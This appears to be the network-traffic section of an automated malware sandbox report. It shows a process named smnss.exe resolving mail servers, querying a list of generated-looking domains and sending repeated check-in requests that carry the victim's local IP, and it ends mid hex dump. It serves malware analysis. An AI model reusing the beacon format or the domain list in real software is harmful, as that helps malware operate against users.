Oct 31, 2022 12:21:05.518870115 CET	8.8.8.8	192.168.2.5	0x3538	No error (0)	gmail-smtp-in.l.google.com		74.125.140.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:05.529979944 CET	8.8.8.8	192.168.2.5	0x78b3	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:05.535499096 CET	8.8.8.8	192.168.2.5	0xed11	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.707509995 CET	8.8.8.8	192.168.2.5	0x7aa1	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:06.023179054 CET	8.8.8.8	192.168.2.5	0x7698	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:09.669723034 CET	8.8.8.8	192.168.2.5	0x574e	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:09.669723034 CET	8.8.8.8	192.168.2.5	0x574e	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:09.669723034 CET	8.8.8.8	192.168.2.5	0x574e	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:09.669723034 CET	8.8.8.8	192.168.2.5	0x574e	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:09.669723034 CET	8.8.8.8	192.168.2.5	0x574e	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:09.678632975 CET	8.8.8.8	192.168.2.5	0xe120	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:09.693315029 CET	8.8.8.8	192.168.2.5	0x811	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:09.705019951 CET	8.8.8.8	192.168.2.5	0x8344	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:09.728615046 CET	8.8.8.8	192.168.2.5	0xbda0	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:09.728615046 CET	8.8.8.8	192.168.2.5	0xbda0	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:10.912341118 CET	8.8.8.8	192.168.2.5	0xfd9d	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:10.916610003 CET	8.8.8.8	192.168.2.5	0x5ed5	No error (0)	aspmx3.googlemail.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:12.184492111 CET	8.8.8.8	192.168.2.5	0x7b73	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:12.475131989 CET	8.8.8.8	192.168.2.5	0xd6c5	No error (0)	alt1.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:12.856144905 CET	8.8.8.8	192.168.2.5	0xa78f	No error (0)	aspmx.l.google.com		64.233.167.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:12.898041010 CET	8.8.8.8	192.168.2.5	0x2e97	No error (0)	alt4.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:13.268325090 CET	8.8.8.8	192.168.2.5	0x7b73	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:13.609114885 CET	8.8.8.8	192.168.2.5	0xbe90	No error (0)	alt2.aspmx.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:14.241602898 CET	8.8.8.8	192.168.2.5	0xac62	No error (0)	aspmx2.googlemail.com		142.250.153.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:14.862826109 CET	8.8.8.8	192.168.2.5	0x7b73	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:20.639256954 CET	8.8.8.8	192.168.2.5	0xaaf9	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

qamaahmnen.info

ehqapshmqs.ws

emnhnawmen.ws

eqrrmhhwhh.ws

eqsnewshhn.ws

emrmmpsarh.ws

wpqqhhspps.in

aewrhprres.com

asnrrsamsa.com

aanparshnh.com

aharwhphnh.com

rsrsemnren.org

empewsqsqa.ws

reaaheeara.org

rrhaerswna.org

aaawpshran.com

ennmqsmqna.ws

ehrawpsrms.ws

awhhsqness.com

eqprsrnprs.ws

aaesrmawah.com

eqnhphnqms.ws

erphseshhh.ws

emhmmwaasa.ws

eshmhnprpa.ws

rrnpamehwa.org

ehnwnaqnss.ws

aspamphaqh.com

emqewenpsh.ws

ersaenrnwh.ws

ansenhrann.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49683	72.5.161.12	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:29.778995037 CET	96	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: qamaahmnen.info User-Agent: explwer
Oct 31, 2022 12:19:30.191149950 CET	97	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 31 Oct 2022 11:19:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=f91d74ccff57672f7ce352f9cad4afa9\|102.129.143.15\|1667215169\|1667215169\|0\|1\|0; path=/; domain=.qamaahmnen.info; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=102.129.143.15; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49686	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:30.496186972 CET	98	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: ehqapshmqs.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49786	81.17.18.196	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:38.132529974 CET	707	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: aharwhphnh.com User-Agent: explwer
Oct 31, 2022 12:19:38.154005051 CET	708	IN	HTTP/1.1 200 OK accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile cache-control: max-age=0, private, must-revalidate connection: close content-length: 538 content-type: text/html; charset=utf-8 date: Mon, 31 Oct 2022 11:19:37 GMT server: nginx set-cookie: sid=e8136558-590d-11ed-a22a-007b3471056e; path=/; domain=.aharwhphnh.com; expires=Sat, 18 Nov 2090 14:33:45 GMT; max-age=2147483647; HttpOnly Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 3a 2f 2f 61 68 61 72 77 68 70 68 6e 68 2e 63 6f 6d 2f 69 6d 67 73 2f 6b 72 65 77 61 2f 6e 71 78 61 2e 70 68 70 3f 63 68 3d 31 26 69 64 3d 35 30 66 35 67 7a 63 75 26 6a 73 3d 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 49 73 49 6e 52 35 63 43 49 36 49 6b 70 58 56 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 56 34 63 43 49 36 4d 54 59 32 4e 7a 49 79 4d 6a 4d 33 4f 43 77 69 61 57 46 30 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 54 63 34 4c 43 4a 70 63 33 4d 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 70 7a 49 6a 6f 78 4c 43 4a 71 64 47 6b 69 4f 69 49 79 63 32 68 70 4e 6d 35 76 4f 54 6c 78 4e 58 4e 69 59 58 4a 76 63 47 38 7a 4e 44 46 6f 4d 47 73 69 4c 43 4a 75 59 6d 59 69 4f 6a 45 32 4e 6a 63 79 4d 54 55 78 4e 7a 67 73 49 6e 52 7a 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 54 63 34 4d 54 51 79 4d 54 59 34 66 51 2e 71 66 31 4e 42 73 31 51 51 42 75 4f 33 45 4d 74 74 58 70 52 37 47 73 34 72 38 65 68 35 47 74 36 56 39 37 4c 6f 53 4b 77 4c 34 38 26 6c 69 70 3d 31 39 32 2e 31 36 38 2e 32 2e 35 26 73 35 3d 33 31 35 39 26 73 69 64 3d 65 38 31 33 36 35 35 38 2d 35 39 30 64 2d 31 31 65 64 2d 61 32 32 61 2d 30 30 37 62 33 34 37 31 30 35 36 65 26 77 69 6e 3d 55 6e 6b 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Loading...</title></head><body><script type='text/javascript'>window.location.replace('http://aharwhphnh.com/imgs/krewa/nqxa.php?ch=1&id=50f5gzcu&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCI6MTY2NzIyMjM3OCwiaWF0IjoxNjY3MjE1MTc4LCJpc3MiOiJKb2tlbiIsImpzIjoxLCJqdGkiOiIyc2hpNm5vOTlxNXNiYXJvcG8zNDFoMGsiLCJuYmYiOjE2NjcyMTUxNzgsInRzIjoxNjY3MjE1MTc4MTQyMTY4fQ.qf1NBs1QQBuO3EMttXpR7Gs4r8eh5Gt6V97LoSKwL48&lip=192.168.2.5&s5=3159&sid=e8136558-590d-11ed-a22a-007b3471056e&win=Unk');</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49795	81.17.29.146	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:38.457722902 CET	774	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: rsrsemnren.org User-Agent: explwer
Oct 31, 2022 12:19:38.478409052 CET	775	IN	HTTP/1.1 200 OK accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile cache-control: max-age=0, private, must-revalidate connection: close content-length: 538 content-type: text/html; charset=utf-8 date: Mon, 31 Oct 2022 11:19:37 GMT server: nginx set-cookie: sid=e844fea6-590d-11ed-baac-5cbf28cbda74; path=/; domain=.rsrsemnren.org; expires=Sat, 18 Nov 2090 14:33:45 GMT; max-age=2147483647; HttpOnly Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 3a 2f 2f 72 73 72 73 65 6d 6e 72 65 6e 2e 6f 72 67 2f 69 6d 67 73 2f 6b 72 65 77 61 2f 6e 71 78 61 2e 70 68 70 3f 63 68 3d 31 26 69 64 3d 35 30 66 35 67 7a 63 75 26 6a 73 3d 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 49 73 49 6e 52 35 63 43 49 36 49 6b 70 58 56 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 56 34 63 43 49 36 4d 54 59 32 4e 7a 49 79 4d 6a 4d 33 4f 43 77 69 61 57 46 30 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 54 63 34 4c 43 4a 70 63 33 4d 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 70 7a 49 6a 6f 78 4c 43 4a 71 64 47 6b 69 4f 69 49 79 63 32 68 70 4e 6d 35 76 63 32 77 7a 63 6a 68 68 4e 7a 4e 6b 63 6a 41 30 61 44 64 77 4e 6d 51 69 4c 43 4a 75 59 6d 59 69 4f 6a 45 32 4e 6a 63 79 4d 54 55 78 4e 7a 67 73 49 6e 52 7a 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 54 63 34 4e 44 59 32 4f 44 63 31 66 51 2e 61 35 65 36 4b 6c 37 47 37 30 48 78 5f 37 35 4e 35 6d 57 56 6d 34 48 32 48 39 48 59 67 5f 30 54 57 45 45 4c 38 36 31 44 4d 61 4d 26 6c 69 70 3d 31 39 32 2e 31 36 38 2e 32 2e 35 26 73 35 3d 33 31 35 39 26 73 69 64 3d 65 38 34 34 66 65 61 36 2d 35 39 30 64 2d 31 31 65 64 2d 62 61 61 63 2d 35 63 62 66 32 38 63 62 64 61 37 34 26 77 69 6e 3d 55 6e 6b 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Loading...</title></head><body><script type='text/javascript'>window.location.replace('http://rsrsemnren.org/imgs/krewa/nqxa.php?ch=1&id=50f5gzcu&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCI6MTY2NzIyMjM3OCwiaWF0IjoxNjY3MjE1MTc4LCJpc3MiOiJKb2tlbiIsImpzIjoxLCJqdGkiOiIyc2hpNm5vc2wzcjhhNzNkcjA0aDdwNmQiLCJuYmYiOjE2NjcyMTUxNzgsInRzIjoxNjY3MjE1MTc4NDY2ODc1fQ.a5e6Kl7G70Hx_75N5mWVm4H2H9HYg_0TWEEL861DMaM&lip=192.168.2.5&s5=3159&sid=e844fea6-590d-11ed-baac-5cbf28cbda74&win=Unk');</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49798	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:38.799231052 CET	777	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: empewsqsqa.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49811	199.59.243.222	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:40.021080017 CET	843	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: reaaheeara.org User-Agent: explwer
Oct 31, 2022 12:19:40.222892046 CET	845	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 31 Oct 2022 11:19:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: parking_session=503c5346-6611-f0c3-5d61-6c7fbca3cf08; expires=Mon, 31-Oct-2022 11:34:40 GMT; Max-Age=900; path=/; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VeBseFSVCycAHehf80RGisd7VnjugstWi4HMU00ZqtSl7FC/mP/GpohCrHSEFGqeaSlfpcBefzDlvuyk4i0lPg== Cache-Control: no-cache Accept-CH: sec-ch-prefers-color-scheme Critical-CH: sec-ch-prefers-color-scheme Vary: sec-ch-prefers-color-scheme Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-store, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Data Raw: 34 33 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 65 42 73 65 46 53 56 43 79 63 41 48 65 68 66 38 30 52 47 69 73 64 37 56 6e 6a 75 67 73 74 57 69 34 48 4d 55 30 30 5a 71 74 53 6c 37 46 43 2f 6d 50 2f 47 70 6f 68 43 72 48 53 45 46 47 71 65 61 53 6c 66 70 63 42 65 66 7a 44 6c 76 75 79 6b 34 69 30 6c 50 67 3d 3d 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 Data Ascii: 433<!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VeBseFSVCycAHehf80RGisd7VnjugstWi4HMU00ZqtSl7FC/mP/GpohCrHSEFGqeaSlfpcBefzDlvuyk4i0lPg=="><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="preconnect
Oct 31, 2022 12:19:40.222959042 CET	846	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f Data Ascii: " href="https://www.google.com" crossorigin><link rel="dns-prefetch" href="https://parking.bodiscdn.com" crossorigin></head><body><div id="target" style='opacity: 0'></div><script>window.park = "eyJ1dWlkIjoiNTAzYzUzNDYtNjYxMS1mMGMzLTVkNjEtNmM3
Oct 31, 2022 12:19:40.222990036 CET	846	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2022 12:19:40.238712072 CET	846	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49841	199.59.243.222	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:00.372936010 CET	2018	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: rrhaerswna.org User-Agent: explwer
Oct 31, 2022 12:20:00.573765039 CET	2021	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 31 Oct 2022 11:20:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: parking_session=31941f5d-497e-bc06-b65c-2136de50715b; expires=Mon, 31-Oct-2022 11:35:00 GMT; Max-Age=900; path=/; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ReL60jzOlGHYHxtm4tqXe8jurV4HR53Fa3kDueEPxWxoBL3Op6PdBaTp4S1lKN2z2oG3+y5BmPbmiZaw0iXzkA== Cache-Control: no-cache Accept-CH: sec-ch-prefers-color-scheme Critical-CH: sec-ch-prefers-color-scheme Vary: sec-ch-prefers-color-scheme Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-store, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Data Raw: 34 33 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 52 65 4c 36 30 6a 7a 4f 6c 47 48 59 48 78 74 6d 34 74 71 58 65 38 6a 75 72 56 34 48 52 35 33 46 61 33 6b 44 75 65 45 50 78 57 78 6f 42 4c 33 4f 70 36 50 64 42 61 54 70 34 53 31 6c 4b 4e 32 7a 32 6f 47 33 2b 79 35 42 6d 50 62 6d 69 5a 61 77 30 69 58 7a 6b 41 3d 3d 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 Data Ascii: 433<!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ReL60jzOlGHYHxtm4tqXe8jurV4HR53Fa3kDueEPxWxoBL3Op6PdBaTp4S1lKN2z2oG3+y5BmPbmiZaw0iXzkA=="><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="preconnect
Oct 31, 2022 12:20:00.573798895 CET	2022	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f Data Ascii: " href="https://www.google.com" crossorigin><link rel="dns-prefetch" href="https://parking.bodiscdn.com" crossorigin></head><body><div id="target" style='opacity: 0'></div><script>window.park = "eyJ1dWlkIjoiMzE5NDFmNWQtNDk3ZS1iYzA2LWI2NWMtMjEz
Oct 31, 2022 12:20:00.573812962 CET	2022	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2022 12:20:00.586169958 CET	2022	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49896	192.187.111.221	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:22.355478048 CET	4104	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: aaawpshran.com User-Agent: explwer
Oct 31, 2022 12:20:22.492275953 CET	4104	IN	HTTP/1.1 302 Found cache-control: max-age=0, private, must-revalidate connection: close content-length: 11 date: Mon, 31 Oct 2022 11:20:21 GMT location: http://ww4.aaawpshran.com server: nginx set-cookie: sid=0278f99e-590e-11ed-85d5-0ca08c169d6f; path=/; domain=.aaawpshran.com; expires=Sat, 18 Nov 2090 14:34:29 GMT; max-age=2147483647; HttpOnly Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 Data Ascii: Redirecting

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49907	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:24.072659016 CET	4182	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: ennmqsmqna.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49909	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:24.536021948 CET	4234	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: ehrawpsrms.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49919	192.187.111.221	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:25.189596891 CET	4304	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: awhhsqness.com User-Agent: explwer
Oct 31, 2022 12:20:25.321146965 CET	4306	IN	HTTP/1.1 200 OK accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile cache-control: max-age=0, private, must-revalidate connection: close content-length: 538 content-type: text/html; charset=utf-8 date: Mon, 31 Oct 2022 11:20:24 GMT server: nginx set-cookie: sid=0429299e-590e-11ed-8001-0ca028bb04c4; path=/; domain=.awhhsqness.com; expires=Sat, 18 Nov 2090 14:34:32 GMT; max-age=2147483647; HttpOnly Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 3a 2f 2f 61 77 68 68 73 71 6e 65 73 73 2e 63 6f 6d 2f 69 6d 67 73 2f 6b 72 65 77 61 2f 6e 71 78 61 2e 70 68 70 3f 63 68 3d 31 26 69 64 3d 35 30 66 35 67 7a 63 75 26 6a 73 3d 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 49 73 49 6e 52 35 63 43 49 36 49 6b 70 58 56 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 56 34 63 43 49 36 4d 54 59 32 4e 7a 49 79 4d 6a 51 79 4e 53 77 69 61 57 46 30 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 6a 49 31 4c 43 4a 70 63 33 4d 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 70 7a 49 6a 6f 78 4c 43 4a 71 64 47 6b 69 4f 69 49 79 63 32 68 70 4e 6e 46 6e 4d 57 34 34 63 6a 4e 6b 63 47 4a 6a 4e 6a 67 32 61 32 4a 73 4f 47 45 69 4c 43 4a 75 59 6d 59 69 4f 6a 45 32 4e 6a 63 79 4d 54 55 79 4d 6a 55 73 49 6e 52 7a 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 6a 49 31 4d 6a 55 35 4e 6a 59 7a 66 51 2e 2d 70 5f 49 74 72 43 46 55 51 68 77 6d 6b 36 51 6b 5a 57 57 78 36 66 65 78 61 68 35 52 6f 56 42 4d 57 